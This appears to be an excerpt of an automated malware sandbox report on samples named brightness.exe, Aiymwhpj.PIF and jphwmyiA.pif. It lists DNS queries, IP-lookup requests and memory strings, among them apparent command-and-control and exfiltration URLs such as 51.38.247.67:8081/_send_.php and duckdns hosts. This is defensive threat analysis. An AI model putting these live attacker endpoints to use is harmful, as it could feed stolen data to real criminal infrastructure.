Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: amazonenviro.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: mail.techniqueqatar.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 06 Jan 2025 06:54:25 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 06 Jan 2025 06:54:36 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 06 Jan 2025 06:54:44 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: jphwmyiA.pif, 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: jphwmyiA.pif, 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: jphwmyiA.pif, 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021121000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C1D1000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000227E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: brightness.exe, 00000007.00000002.2129746891.00000000006AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com/
Source: brightness.exe, 00000007.00000002.2129746891.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.000000002059D000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2129746891.00000000006AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com/245_Aiymwhpjxsg
Source: brightness.exe, 00000007.00000002.2129746891.000000000071D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amazonenviro.com:80/245_Aiymwhpjxsg
Source: jphwmyiA.pif, 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021121000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C1D1000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000227E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: jphwmyiA.pif, 00000013.00000002.3759044555.00000000227E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021121000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C1D1000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000227E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: jphwmyiA.pif, 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3763255345.00000000237D4000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3763255345.0000000023850000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000003.2469665166.0000000023860000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3765263149.000000001F260000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3766205555.000000002562B000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2643241704.0000000025639000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3766205555.000000002569C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: jphwmyiA.pif, 0000000A.00000002.3763255345.0000000023850000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000003.2469665166.0000000023860000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3757186575.000000001A506000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3765263149.000000001F260000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3766205555.000000002562B000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2643241704.0000000025639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: brightness.exe, 00000007.00000003.2123550803.000000007F3EF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2161107303.0000000021426000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2161329052.00000000214AA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163281507.0000000021700000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000003.2128046542.000000007F3AA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2162496281.00000000215F2000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, jphwmyiA.pif.7.dr	String found in binary or memory: http://crl.comodoca.com/COMODOCodeSigningCA2.crl0r
Source: brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
